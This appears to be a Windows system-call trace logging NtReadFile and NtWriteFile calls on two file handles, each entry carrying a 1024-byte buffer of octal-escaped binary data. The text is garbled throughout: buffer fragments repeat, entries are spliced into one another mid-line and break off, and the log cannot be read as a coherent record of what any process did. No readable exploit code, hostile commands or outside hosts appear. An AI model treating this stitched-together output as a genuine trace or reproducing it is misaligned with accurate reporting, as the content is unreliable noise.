\332\4o&V\234v.\264_{\30'U\221\353\352X\354\234\16\333R\246\342,Ud\13\223O\202\233\275E\361\331)\236\36\177#\347& (92, 0, 0, 0, "&%\326~\215\317\7lb\344\361\225\371\3205\11\314P\256\33\206\316c\27Xu4\34\357\242C\245\3\315\356\253<\21C\200\244=I\244\15\1\362\216\364\247\352\364{/0W\232\364K4\234\340F\344\111Y\251cW\350\232L\314-\2363\201~\232}\243F\325\200\0)\1L\15\21\270\214\200x1\203\267`9\21\326\304\25\2024\313W\315\334\236\220\261r\222\201\241\236\236?KA1\237#8\10\202\356\267,s\312\362\\255\325\334%\306\243\304\244K\310s6\3016a\313\11\231\12r\264\212\351\230e\22\264ODW7Y\310\225\217\13\14fK$\323i\341\306Q\36Qn\242j\31\301\177\3176J\272\302S$O~/^\236we&\326\200^{b\3074X\205\217\242\2041"\332\4o&V\234v.\264_{\30'U\221\353\352X\354\234\16\333R\246\342,Ud\13\223O\202\233\275E\361\331)\236\36\177#\347&"`\341\236aXSF\344_\305\5S+/\347\35\320l\17H\2652\23\\255-?\13%J"j\320\233\276\276\272\237\177\251\320o\243a\32\327w\332'3\371*\210\36\310N\326:\370\340\343{/V\226?\304\343P\2011\267\216\200\35\333\301\1\254\207\370A\300X;\257\1Q\223\246\23\320\350J\222\331\311\317tu\350\274\324\2360%\352W\355*\3609\2548\15\346\2441&\323\241\277\366C\244\352\272E\313,9]-\245\377'\225U$I\314/\246\26\276\20\251\4\307\272\332\23\346\313\375\217+\366\354g\230\304\252L\353\25\33;\217mR\0\235!`\345\31\334\1\371\274\314\351\336w\23\205O\303\221\265\21\200)\32"'\233\201\264\224\247\307\17\343\332Y\367p\325\325U\270\330\274\11\216$\231X\375\352\360\11\360\263\333\35\254B0\0!\221M\252@\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) j\320\233\276\276\272\237\177\251\320o\243a\32\327w\332'3\371*\210\36\310N\326:\370\340\343{/V\226?\304\343P\2011\267\216\200\35\333\301\1\254\207\370A\300X;\257\1Q\223\246\23\320\350J\222\331\311\317tu\350\274\324\2360%\352W\355*\3609\2548\15\346\2441&\323\241\277\366C\244\352\272E\313,9]-\245\377'\225U$I\314/\246\26\276\20\251\4\307\272\332\23\346\313\375\217+\366\354g\230\304\252L\353\25\33;\217mR\0\235!`\345\31\334\1\371\274\314\351\336w\23\205O\303\221\265\21\200)\32 (92, 0, 0, 0, "&%\326~\215\317\7lb\344\361\225\371\3205\11\314P\256\33\206\316c\27Xu4\34\357\242C\245\3\315\356\253<\21C\200\244=I\244\15\1\362\216\364\247\352\364{/0W\232\364K4\234\340F\344\111Y\251cW\350\232L\314-\2363\201~\232}\243F\325\200\0)\1L\15\21\270\214\200x1\203\267`9\21\326\304\25\2024\313W\315\334\236\220\261r\222\201\241\236\236?KA1\237#8\10\202\356\267,s\312\362\\255\325\334%\306\243\304\244K\310s6\3016a\313\11\231\12r\264\212\351\230e\22\264ODW7Y\310\225\217\13\14fK$\323i\341\306Q\36Qn\242j\31\301\177\3176J\272\302S$O~/^\236we&\326\200^{b\3074X\205\217\242\2041"\332\4o&V\234v.\264_{\30'U\221\353\352X\354\234\16\333R\246\342,Ud\13\223O\202\233\275E\361\331)\236\36\177#\347&"`\341\236aXSF\344_\305\5S+/\347\35\320l\17H\2652\23\\255-?\13%J"j\320\233\276\276\272\237\177\251\320o\243a\32\327w\332'3\371*\210\36\310N\326:\370\340\343{/V\226?\304\343P\2011\267\216\200\35\333\301\1\254\207\370A\300X;\257\1Q\223\246\23\320\350J\222\331\311\317tu\350\274\324\2360%\352W\355*\3609\2548\15\346\2441&\323\241\277\366C\244\352\272E\313,9]-\245\377'\225U$I\314/\246\26\276\20\251\4\307\272\332\23\346\313\375\217+\366\354g\230\304\252L\353\25\33;\217mR\0\235!`\345\31\334\1\371\274\314\351\336w\23\205O\303\221\265\21\200)\32"'\233\201\264\224\247\307\17\343\332Y\367p\325\325U\270\330\274\11\216$\231X\375\352\360\11\360\263\333\35\254B0\0!\221M\252@\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01348  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\222O1\21e\272,\335\202\3269\1m\177<=?\327\241g\340\341\224l!\6+\257\343xC\241$*+(\256\352?\363\241\3762(5`\274\311\321\212\275\301=\301\311_8\25\37k)!t\313\271\350&%\253\355\250/,\245\354+00\242=\264t6W\263\277\26\252\25\310[U7\373\370\36rC\15\373\306$F\12\354\310)\32\13!P\17)\266\364l2\267\26\4<\107\266-\230>_\362\236\276\36\253\226!\243\342\252%%\316\L*\327\323\246c\337\261\360\21664\365P7\37\213\267;\230\325\247\2756\>\204\37*\260c\0\225%%\245E\235\217\33\17\327%\13\23\327R\35\37\26\227\0\35\32\272\3\221\24\35\304[\48=\23\300 =b*\314\22\4lf\2556\374\35|\240-\263/\241\363\365\336\361\346\371:*5\3728\323\12\26\227\27\344\277(\275*\200\272/\266!\315.K*\234'F\201\264A\237\34=P\3658\3753bW\377>[\20P\337\36\16\341!\3221\33\316\366'Zx:\371\23\26\276:\361;\139ofv)ycm~f\31S5\F\230\336\369$"k'Q-\247r)+\353\212\246\16\307\3333\1\336}|7fc=f\366g\204\177\5\3771\33\376\36\230zb\26\316\10)'?`\14)m\13\252D\2207\332\267\3051\254\20\205\201\274\2h?V'\363\276\354\6\320b:\27\3\253&\7!\256\32~\17\10G\6}l\3318\1H\345\4\15\252#Z<#\214L4\325\364\12\354\319\22\14SC\276Rn\235,\34\233)}\3Q,$\332\35\367\365 \2035\33=\210\314=\14\377\13\227\221:s0 }}y\265}C\241$J\212\350E\316/\341`\233\276\273\260\207@q\2503\233*+u\337\13", ) k'Q-\247r)+\353\212\246\16\307\3333\1\336}|7fc=f\366g\204\177\5\3771\33\376\36\230zb\26\316\10)'?`\14)m\13\252D\2207\332\267\3051\254\20\205\201\274\2h?V'\363\276\354\6\320b:\27\3\253&\7!\256\32~\17\10G\6}l\3318\1H\345\4\15\252#Z<#\214L4\325\364\12\354\319\22\14SC\276Rn\235,\34\233)}\3Q,$\332\35\367\365 \2035\33=\210\314=\14\377\13\227\221:s0 }}y\265}C\241$J\212\350E\316/\341`\233\276\273\260\207@q\2503\233*+u\337\13", ) == 0x0
 01349  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, ">\4\346\227u\322\\317\200\214S\331$3\276\363\250H\361,!\221N\37L\330\211V+K\2462[j\304I{<\215\14'c\221\2750}>\277FB\214\315\364(\267>N\360\261\252x\17\344]p%\324\226A\27\355\15\360\206\347\177\377\305\21\260\361\235W\240\240\342v\273\303\351u7F\255\2477\256\244\353\235E\10\204\234\7]\272\327\332\260\224\274\235\374j\261\320}\2501w@\225J\343\251\24\376IK~\261\265Mp\352\350/A\330\11p7\307\326\334\370\24\212\344\20\364\303\264\267\246\33\342rA\35\351\201\226T\241\305h\202GmJ\303\300\244\350\315\232\206\217\361;\357Ce\312\314(\342.U\256\14\0\31F\201*\2\324\230\340\31Q\12\26\375\370I\20"r\334\277\252b7\360\36\300\247\205f\4\235\370Q"\1\233\264\13\277\216\250\366#[\35\362~\213\3524\21\5\31W\371\355t\314\2264?W\21|\201\216UfA6]\217\207\376\313\37;\256\25-\353\34\233\316/3Vp\216\241\207\242i\314\364QP\264\263\177/o\3667\320\232\2156\251\351\364d\7\16(\317\325\203(\357\374\343 \373\11\266\343\7\377;\274\322\336[\202\260I\264\331\371\256R\376\272\325 \264\216\246\324\260h\5\370\1\307`\36l\244\226c\2200O\337+\300w\250\326j\25|\217\4\12\325\373\230E>O\221\202\12\0\15\266\313\205(Z\237l\375O\252\322\315\25\271f&Y6I\205\0\357[p>O\200\15\2221\322\200\324`F\337\251\265\306\200\2348\0\32\232\331\347sy\266\233\32"\337RG\305\122G\231\214\3\2531i\7\300!\320$\273\362\224\3V\276I5\230\211\215^E\0\326\365\262(\215Su4\30h[\266\314"\200=R{\20t*w\317\276\244\6\367\35\15P\234\322Y", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) r\334\277\252b7\360\36\300\247\205f\4\235\370Q (92, 0, 0, 0, ">\4\346\227u\322\\317\200\214S\331$3\276\363\250H\361,!\221N\37L\330\211V+K\2462[j\304I{<\215\14'c\221\2750}>\277FB\214\315\364(\267>N\360\261\252x\17\344]p%\324\226A\27\355\15\360\206\347\177\377\305\21\260\361\235W\240\240\342v\273\303\351u7F\255\2477\256\244\353\235E\10\204\234\7]\272\327\332\260\224\274\235\374j\261\320}\2501w@\225J\343\251\24\376IK~\261\265Mp\352\350/A\330\11p7\307\326\334\370\24\212\344\20\364\303\264\267\246\33\342rA\35\351\201\226T\241\305h\202GmJ\303\300\244\350\315\232\206\217\361;\357Ce\312\314(\342.U\256\14\0\31F\201*\2\324\230\340\31Q\12\26\375\370I\20"r\334\277\252b7\360\36\300\247\205f\4\235\370Q"\1\233\264\13\277\216\250\366#[\35\362~\213\3524\21\5\31W\371\355t\314\2264?W\21|\201\216UfA6]\217\207\376\313\37;\256\25-\353\34\233\316/3Vp\216\241\207\242i\314\364QP\264\263\177/o\3667\320\232\2156\251\351\364d\7\16(\317\325\203(\357\374\343 \373\11\266\343\7\377;\274\322\336[\202\260I\264\331\371\256R\376\272\325 \264\216\246\324\260h\5\370\1\307`\36l\244\226c\2200O\337+\300w\250\326j\25|\217\4\12\325\373\230E>O\221\202\12\0\15\266\313\205(Z\237l\375O\252\322\315\25\271f&Y6I\205\0\357[p>O\200\15\2221\322\200\324`F\337\251\265\306\200\2348\0\32\232\331\347sy\266\233\32"\337RG\305\122G\231\214\3\2531i\7\300!\320$\273\362\224\3V\276I5\230\211\215^E\0\326\365\262(\215Su4\30h[\266\314"\200=R{\20t*w\317\276\244\6\367\35\15P\234\322Y", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \337RG\305\122G\231\214\3\2531i\7\300!\320$\273\362\224\3V\276I5\230\211\215^E\0\326\365\262(\215Su4\30h[\266\314 (92, 0, 0, 0, ">\4\346\227u\322\\317\200\214S\331$3\276\363\250H\361,!\221N\37L\330\211V+K\2462[j\304I{<\215\14'c\221\2750}>\277FB\214\315\364(\267>N\360\261\252x\17\344]p%\324\226A\27\355\15\360\206\347\177\377\305\21\260\361\235W\240\240\342v\273\303\351u7F\255\2477\256\244\353\235E\10\204\234\7]\272\327\332\260\224\274\235\374j\261\320}\2501w@\225J\343\251\24\376IK~\261\265Mp\352\350/A\330\11p7\307\326\334\370\24\212\344\20\364\303\264\267\246\33\342rA\35\351\201\226T\241\305h\202GmJ\303\300\244\350\315\232\206\217\361;\357Ce\312\314(\342.U\256\14\0\31F\201*\2\324\230\340\31Q\12\26\375\370I\20"r\334\277\252b7\360\36\300\247\205f\4\235\370Q"\1\233\264\13\277\216\250\366#[\35\362~\213\3524\21\5\31W\371\355t\314\2264?W\21|\201\216UfA6]\217\207\376\313\37;\256\25-\353\34\233\316/3Vp\216\241\207\242i\314\364QP\264\263\177/o\3667\320\232\2156\251\351\364d\7\16(\317\325\203(\357\374\343 \373\11\266\343\7\377;\274\322\336[\202\260I\264\331\371\256R\376\272\325 \264\216\246\324\260h\5\370\1\307`\36l\244\226c\2200O\337+\300w\250\326j\25|\217\4\12\325\373\230E>O\221\202\12\0\15\266\313\205(Z\237l\375O\252\322\315\25\271f&Y6I\205\0\357[p>O\200\15\2221\322\200\324`F\337\251\265\306\200\2348\0\32\232\331\347sy\266\233\32"\337RG\305\122G\231\214\3\2531i\7\300!\320$\273\362\224\3V\276I5\230\211\215^E\0\326\365\262(\215Su4\30h[\266\314"\200=R{\20t*w\317\276\244\6\367\35\15P\234\322Y", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01350  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\242qo\244t\352h,\240\245,c\12\245\246\360b[\310t\10fj >j\310\377\275\17_)\365\357\334\34\336\335#2\344\31gT\250,\7\305\301\13'r\5\364;\370\365>6>\3613?\324\205\376;\253\35\364z\226\5!&#u\256b\30\177\241\332,\256\3027\273\375\273W\20\25*g\320|\347;\266i\32-+\31\17RM \204f# q\316\15)1\344+ m,\235\351\203=x\21>i:\210\271\377d-\3747\34Y\215\13\23\262=p\313 \2052x\220w\35074Y1&\216\20\312\216\25\34\3070\lk0l=-\177\363N\33\16\12\253\331"$HU2{\13\251\7{-\5\306\301@.\271\333\21U:_\33096i\334\27^\241#=\335\36Nrrub\203\342\242&\351(,\303;Y\320\320`\1\271\375\334\225\26\22\371?\260\3431\35=\27\33\31]c\340\310\17Tc\332\332\254\344wrJ#4\14N-nU\273>\264!\362\27AY;\371,\15x\276\312\21\5t\27\255V23aQ\1+\230 ,\353)m ?>\2100\134<\316\17J<\203C=\153\367Jt\215I[ ,\3224\265\205dGV=@#}5y\307\264\3612\38\31\'8nh;k\266\307\266~\354{\225\17g'D\36\204\4SJ\243Im\31\353h\302og\321 u<\276+\263\231Yw\327\261h.\343JNM~\224\320\244\324#Q1\255p\32\244o\307l\240c\363```P6A6\333\263WKNY\375\15\6\31N\10\203\316 M\222\16\372!\267ViE\353\3\322\37.\16\3775\3627\227\307;\327\74$}r:M;[xpO>M\272P\4\177\6\15\10\27_Y\371k\331\3602\215\3266", ) $HU2{\13\251\7{-\5\306\301@.\271\333\21U:_\33096i\334\27^\241#=\335\36Nrrub\203\342\242&\351(,\303;Y\320\320`\1\271\375\334\225\26\22\371?\260\3431\35=\27\33\31]c\340\310\17Tc\332\332\254\344wrJ#4\14N-nU\273>\264!\362\27AY;\371,\15x\276\312\21\5t\27\255V23aQ\1+\230 ,\353)m ?>\2100\134<\316\17J<\203C=\153\367Jt\215I[ ,\3224\265\205dGV=@#}5y\307\264\3612\38\31\'8nh;k\266\307\266~\354{\225\17g'D\36\204\4SJ\243Im\31\353h\302og\321 u<\276+\263\231Yw\327\261h.\343JNM~\224\320\244\324#Q1\255p\32\244o\307l\240c\363```P6A6\333\263WKNY\375\15\6\31N\10\203\316 M\222\16\372!\267ViE\353\3\322\37.\16\3775\3627\227\307;\327\74$}r:M;[xpO>M\272P\4\177\6\15\10\27_Y\371k\331\3602\215\3266", ) == 0x0
 01351  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "%\337\363=#\274\262\237DP;\235\364x\354\223\311\376\332;\33\344\\214\270|\331\5J4h\302\326r\324J\356Um0\264\271\277\37\257\235\222\377U\227\225\22IG<\30,}d\27\200\2406@\300\344r\23j\31\312\245\310\276_O\305=\27\353\225\177>eq\15\357T\200\322\207\373\320\346\344\221\23(9\224\1?dl\273>Y\251\231xr\212W\247\17\377\346q\271V\236\264,x\367\226\330?\300\272\274\360K\0\303S1/\312_\16|\214\20\227:\16\255\343\245\322P\246\327w_A\216\177\372\326,3\227\233\37\272:&;\300\12\332\171\330\363F\337\257}U\307V\2\276\241\377\274d\327&\2004\20:\203U>.v\327\366 1~\257\260m/\233\213rQ\3056F\340\4H%i\303\332q6GP\254\353\227\262\15\30\330\13\204\325\271\26\326\373\3\374n8\22\304\302\235N\245\363\357\4\265<\0\13O\260\232\\257@-be\34\223\16\345\7\206\257\223#\321\5\342\362\260\31\342\266\362\243N\363\245\20\250\333;\212\32y\270\354\16\363\275\376\225vw\31\332\253v\5,d\21\210W\323\205\236omF\342T\271\235\363<\253"1\225z8\264\200\226\253\235$04\26\10\7\246\25\357\261W\315\25\25'W\270\341\274\237\314\2575\315\324\254\233\336\353\360\212}\0\257\21$"T\211\0m\275\5\373\227U2V\253\261\26Cm_b\332ZW\212\20l\310\2577Z\333Dm\23i\247\263\355\263\376\222\310gyd\371\317\232\215#\205*\227\310\16\310\215\36\r\22M\313\340.\300\270\2206\231\257\223\34\246\351\331\274a831\243\366\371\325\273)\314I\260F\35'%A\343\255\201\323Z\353\266\333\263325\271\26\326\373\3\374n8\22\304\302\235N\245\363\357\4\265<\0\13O\260\232\\257@-be\34\223\16\345\7\206\257\223#\321\5\342\362\260\31\342\266\362\243N\363\245\20\250\333;\212\32y\270\354\16\363\275\376\225vw\31\332\253v\5,d\21\210W\323\205\236omF\342T\271\235\363<\253 (92, 0, 0, 0, "%\337\363=#\274\262\237DP;\235\364x\354\223\311\376\332;\33\344\\214\270|\331\5J4h\302\326r\324J\356Um0\264\271\277\37\257\235\222\377U\227\225\22IG<\30,}d\27\200\2406@\300\344r\23j\31\312\245\310\276_O\305=\27\353\225\177>eq\15\357T\200\322\207\373\320\346\344\221\23(9\224\1?dl\273>Y\251\231xr\212W\247\17\377\346q\271V\236\264,x\367\226\330?\300\272\274\360K\0\303S1/\312_\16|\214\20\227:\16\255\343\245\322P\246\327w_A\216\177\372\326,3\227\233\37\272:&;\300\12\332\171\330\363F\337\257}U\307V\2\276\241\377\274d\327&\2004\20:\203U>.v\327\366 1~\257\260m/\233\213rQ\3056F\340\4H%i\303\332q6GP\254\353\227\262\15\30\330\13\204\325\271\26\326\373\3\374n8\22\304\302\235N\245\363\357\4\265<\0\13O\260\232\\257@-be\34\223\16\345\7\206\257\223#\321\5\342\362\260\31\342\266\362\243N\363\245\20\250\333;\212\32y\270\354\16\363\275\376\225vw\31\332\253v\5,d\21\210W\323\205\236omF\342T\271\235\363<\253"1\225z8\264\200\226\253\235$04\26\10\7\246\25\357\261W\315\25\25'W\270\341\274\237\314\2575\315\324\254\233\336\353\360\212}\0\257\21$"T\211\0m\275\5\373\227U2V\253\261\26Cm_b\332ZW\212\20l\310\2577Z\333Dm\23i\247\263\355\263\376\222\310gyd\371\317\232\215#\205*\227\310\16\310\215\36\r\22M\313\340.\300\270\2206\231\257\223\34\246\351\331\274a831\243\366\371\325\273)\314I\260F\35'%A\343\255\201\323Z\353\266\333\263211\0m\275\5\373\227U2V\253\261\26Cm_b\332ZW\212\20l\310\2577Z\333Dm\23i\247\263\355\263\376\222\310gyd\371\317\232\215#\205*\227\310\16\310\215\36\r\22M\313\340.\300\270\2206\231\257\223\34\246\351\331\274a831\243\366\371\325\273)\314I\260F\35'%A\343\255\201\323Z\353\266\333\263305\372\334#\331", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01352  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "1lU.\326\11\30\35\373$5\0'4-\306$\35\271\222A\274\277\276\31535:'\334_\206\325;-\3308\377/v\350\30\313\37\7\316#\0H\16N\2LA\31\350*Z=\377]\206\22nE#%4\4\26\377\364\273B\256\5\37/\2706\274\37a`\243g\212E*\242\36\211)\26595w\314Cb\4\263A\304\25176\203\33\201\355v\307\217?z\275\13r\4\201!%\266\205.V\17<+\2;.#Z\257a\3413'5\11\273\213\341\262;?\2148sq4O\36\354\205\346\246\7\200%!\343\300\347\13hx\11\6\377\1\2003\31\36\3214\278=V{&aT'\13\357\270_d`'Z\21@\254\4\26\363\221+\352y\34\347\2362\270\355\3004\232B4{\322\311\262B=.[\224\36E\177\334@3\235\342|\2569'1\240-\240,R\326\256\367I3365\277\316\1 N?\2674>\324\343\225\347'E$\302\32\321\34\335\36/\21\310\20\301\26\325\24\12\13G\11\237\17\217\15$\7%\5\31\3\16\1\3$^"x O\36W\34$&\306%((^+/\13\36\241\0\316\25\5k\7\330\11\317\13T\16K\14\367)\3.8\242b-W)\353\245V7\350\3>u\245=\26\254\3649\23#\267\226(f\2605{|\37<`\11}ZIu\4\311 z\5\5Z\3$\242\332\256,\322[-\273\317d\333\220\\266,\261\1Z9(\35\36\272\31/\33hJ\245'r\242"M\243!\261\250,q\271\250(\315\2617~\2662\363\267>\223\4\276:I\2779+\231\33\243\236&s\0\246"# \247.=\257-c\270\257)6\2644\253\2653\316\252\274?p\332\275;\324\272\33\159t[q\311\250R&\362$\23", ) x O\36W\34$&\306%((^+/\13\36\241\0\316\25\5k\7\330\11\317\13T\16K\14\367)\3.8\242b-W)\353\245V7\350\3>u\245=\26\254\3649\23#\267\226(f\2605{|\37<`\11}ZIu\4\311 z\5\5Z\3$\242\332\256,\322[-\273\317d\333\220\\266,\261\1Z9(\35\36\272\31/\33hJ\245'r\242 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "1lU.\326\11\30\35\373$5\0'4-\306$\35\271\222A\274\277\276\31535:'\334_\206\325;-\3308\377/v\350\30\313\37\7\316#\0H\16N\2LA\31\350*Z=\377]\206\22nE#%4\4\26\377\364\273B\256\5\37/\2706\274\37a`\243g\212E*\242\36\211)\26595w\314Cb\4\263A\304\25176\203\33\201\355v\307\217?z\275\13r\4\201!%\266\205.V\17<+\2;.#Z\257a\3413'5\11\273\213\341\262;?\2148sq4O\36\354\205\346\246\7\200%!\343\300\347\13hx\11\6\377\1\2003\31\36\3214\278=V{&aT'\13\357\270_d`'Z\21@\254\4\26\363\221+\352y\34\347\2362\270\355\3004\232B4{\322\311\262B=.[\224\36E\177\334@3\235\342|\2569'1\240-\240,R\326\256\367I3365\277\316\1 N?\2674>\324\343\225\347'E$\302\32\321\34\335\36/\21\310\20\301\26\325\24\12\13G\11\237\17\217\15$\7%\5\31\3\16\1\3$^"x O\36W\34$&\306%((^+/\13\36\241\0\316\25\5k\7\330\11\317\13T\16K\14\367)\3.8\242b-W)\353\245V7\350\3>u\245=\26\254\3649\23#\267\226(f\2605{|\37<`\11}ZIu\4\311 z\5\5Z\3$\242\332\256,\322[-\273\317d\333\220\\266,\261\1Z9(\35\36\272\31/\33hJ\245'r\242"M\243!\261\250,q\271\250(\315\2617~\2662\363\267>\223\4\276:I\2779+\231\33\243\236&s\0\246"# \247.=\257-c\270\257)6\2644\253\2653\316\252\274?p\332\275;\324\272\33\159t[q\311\250R&\362$\23", ) # \247.=\257-c\270\257)6\2644\253\2653\316\252\274?p\332\275;\324\272\33\159t[q\311\250R&\362$\23", ) == 0x0
 01353  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\243.\2546\201\226n*\315\116\317\320T\2254\12\270\233\1D\202?b\250'\271\314tE7\2x!\277\211\251Rx\34\376\225\204!e\220X0uh\310\373tyu\226\243\21/\365\344\332\225$\320y\313\25.\227\340\7X\314j\242\341\26\4\3332!8\2222\36\326\14g\366\373\335l\364F'B\316\224p\354\X\257\354\327~0\10\205\177\20oN\347Wc\4(\21\366S<{&\352\201xM5\267\202\32\35\33\330\6\375?Ic\236\264HAr\36\313\221\36\3473\365\225\235\317X?\247H_\374\3tq\263_9\312K\202\177ah\254d\346!+\3077\322\313\366\352\223P\2054G\274\300\267\2\314A\30~\24\362\354\304x\312Y\271}\203\313\267\267\237\353+\373\220\230\372'\270&\250w\271\201\23\251\362\2543\233\336\341\303\2541r-\326u\2\326\246\353\271\275|\251\353a\203\332\271B\361\275\2523\301\310cN\245\336Y\337\362\30r\362\341\31G;Z\2361\312\234\370\206_\212\232\304\264\4\2248\377_Pd\33_\344\2159P\305\226QF\11\374\237\345\306F\250\202]B\314\244\177\336\370bx\216T\310\241\222\7\3277`@i\\21\375h\340\267\301\233LI\375\264\220\264\7\217\342\369\5\13\312\360[\241\203\243'O\354\322\304\351\276\241\222\200\240\205W\251@\370\3WB\245\253\337\344!\357\203\317\10\332\13US\24\270", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01354  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\250\2611\3473\12\24736\245\274:\223\275=\36\1\261\257\30\37\241\245!\353\246$\361\243'~\366\253+L\23\304[\330\302t\252&\16\3257;\321\331\331<\263\233:?\317\374\36Q@\202)\345\346%\374\25\214"\223\371,\212%\206\3001\2358\3J=88G6\243C1M3\333\20v~\226\257\21\201.\267\7&\353#\11n.,\12\13\20[6c^76_n\306\36.\=z\274\343\26]R;\260-H3u%8t\177)\12)p-\16y\273\311\315&\274\3447{\377fd9\30\2555?\22\242\34?\37\230\11#"$$\316'N\304*)kE\12\6\261\21bb\260q.\267|Q\32z=4\263q~\364\312\236Epa\3356\224\377$&*@\257C\367X]/\21l3\22*o -$\317\207*\17+(|x/\273\300\273G\201\273y8Y\375\177\30-??\30\34\365\230\212\336\336\257m\26g\340'4)+\303U/4+\250\12\31445\336^8'\261w<\316a\177\225\20\36\33P\242\3463\347'\364)\360\376+/f\370.!\2000<\337\35752\307j\351:5\224\327>6\37\35\0\266J!<\344"*\231':$(`\307\271, \171{V2\\35\33571\223B:TM?\23w\35\23\232\36\14\13\266"L\241jBFN^C\374/!n\2\202\372'\263:\22K93\2543?\3038K\36\25\351\37 '\20%!g"+\353$~bv(0;\241248yyv|y;h=;x^H\35\37\34\321 V\34\362!%\317\201\373.\222L8\362+D\343\10\35001F>\210\372\12\36\14\235T+I\364", ) \223\371,\212%\206\3001\2358\3J=88G6\243C1M3\333\20v~\226\257\21\201.\267\7&\353#\11n.,\12\13\20[6c^76_n\306\36.\=z\274\343\26]R;\260-H3u%8t\177)\12)p-\16y\273\311\315&\274\3447{\377fd9\30\2555?\22\242\34?\37\230\11# (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\250\2611\3473\12\24736\245\274:\223\275=\36\1\261\257\30\37\241\245!\353\246$\361\243'~\366\253+L\23\304[\330\302t\252&\16\3257;\321\331\331<\263\233:?\317\374\36Q@\202)\345\346%\374\25\214"\223\371,\212%\206\3001\2358\3J=88G6\243C1M3\333\20v~\226\257\21\201.\267\7&\353#\11n.,\12\13\20[6c^76_n\306\36.\=z\274\343\26]R;\260-H3u%8t\177)\12)p-\16y\273\311\315&\274\3447{\377fd9\30\2555?\22\242\34?\37\230\11#"$$\316'N\304*)kE\12\6\261\21bb\260q.\267|Q\32z=4\263q~\364\312\236Epa\3356\224\377$&*@\257C\367X]/\21l3\22*o -$\317\207*\17+(|x/\273\300\273G\201\273y8Y\375\177\30-??\30\34\365\230\212\336\336\257m\26g\340'4)+\303U/4+\250\12\31445\336^8'\261w<\316a\177\225\20\36\33P\242\3463\347'\364)\360\376+/f\370.!\2000<\337\35752\307j\351:5\224\327>6\37\35\0\266J!<\344"*\231':$(`\307\271, \171{V2\\35\33571\223B:TM?\23w\35\23\232\36\14\13\266"L\241jBFN^C\374/!n\2\202\372'\263:\22K93\2543?\3038K\36\25\351\37 '\20%!g"+\353$~bv(0;\241248yyv|y;h=;x^H\35\37\34\321 V\34\362!%\317\201\373.\222L8\362+D\343\10\35001F>\210\372\12\36\14\235T+I\364", ) *o -$\317\207*\17+(|x/\273\300\273G\201\273y8Y\375\177\30-??\30\34\365\230\212\336\336\257m\26g\340'4)+\303U/4+\250\12\31445\336^8'\261w<\316a\177\225\20\36\33P\242\3463\347'\364)\360\376+/f\370.!\2000<\337\35752\307j\351:5\224\327>6\37\35\0\266J!<\344 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\250\2611\3473\12\24736\245\274:\223\275=\36\1\261\257\30\37\241\245!\353\246$\361\243'~\366\253+L\23\304[\330\302t\252&\16\3257;\321\331\331<\263\233:?\317\374\36Q@\202)\345\346%\374\25\214"\223\371,\212%\206\3001\2358\3J=88G6\243C1M3\333\20v~\226\257\21\201.\267\7&\353#\11n.,\12\13\20[6c^76_n\306\36.\=z\274\343\26]R;\260-H3u%8t\177)\12)p-\16y\273\311\315&\274\3447{\377fd9\30\2555?\22\242\34?\37\230\11#"$$\316'N\304*)kE\12\6\261\21bb\260q.\267|Q\32z=4\263q~\364\312\236Epa\3356\224\377$&*@\257C\367X]/\21l3\22*o -$\317\207*\17+(|x/\273\300\273G\201\273y8Y\375\177\30-??\30\34\365\230\212\336\336\257m\26g\340'4)+\303U/4+\250\12\31445\336^8'\261w<\316a\177\225\20\36\33P\242\3463\347'\364)\360\376+/f\370.!\2000<\337\35752\307j\351:5\224\327>6\37\35\0\266J!<\344"*\231':$(`\307\271, \171{V2\\35\33571\223B:TM?\23w\35\23\232\36\14\13\266"L\241jBFN^C\374/!n\2\202\372'\263:\22K93\2543?\3038K\36\25\351\37 '\20%!g"+\353$~bv(0;\241248yyv|y;h=;x^H\35\37\34\321 V\34\362!%\317\201\373.\222L8\362+D\343\10\35001F>\210\372\12\36\14\235T+I\364", ) L\241jBFN^C\374/!n\2\202\372'\263:\22K93\2543?\3038K\36\25\351\37 '\20%!g (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\250\2611\3473\12\24736\245\274:\223\275=\36\1\261\257\30\37\241\245!\353\246$\361\243'~\366\253+L\23\304[\330\302t\252&\16\3257;\321\331\331<\263\233:?\317\374\36Q@\202)\345\346%\374\25\214"\223\371,\212%\206\3001\2358\3J=88G6\243C1M3\333\20v~\226\257\21\201.\267\7&\353#\11n.,\12\13\20[6c^76_n\306\36.\=z\274\343\26]R;\260-H3u%8t\177)\12)p-\16y\273\311\315&\274\3447{\377fd9\30\2555?\22\242\34?\37\230\11#"$$\316'N\304*)kE\12\6\261\21bb\260q.\267|Q\32z=4\263q~\364\312\236Epa\3356\224\377$&*@\257C\367X]/\21l3\22*o 